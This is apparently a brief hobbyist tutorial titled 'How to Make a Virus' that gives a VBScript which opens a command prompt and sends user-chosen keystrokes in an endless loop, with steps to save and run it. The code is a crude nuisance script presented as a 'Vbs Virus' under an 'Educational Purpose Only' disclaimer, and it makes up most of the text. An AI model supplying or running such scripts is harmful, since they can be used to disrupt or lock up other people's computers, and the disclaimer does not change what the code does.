How to Make a Virus

!!!This is for Educational Purpose Only.!!!

Hello Guys, today I am gonna tell you how to make a Vbs Virus.

Step 1 Copy the following code

Dim x

Dim a

set x=Createobject("Wscript.shell")

x.run "cmd.exe"

do

x.sendkeys "Type in Your keys here"

x.sendkeys "{Here your Keys such as enter esc etc...}optional If you want. Type YOur keys"

loop

step 2:save it with the settings shown as The image.

Tip: you can find the alternate keys here http://www.devguru.com/technologies/wsh/17420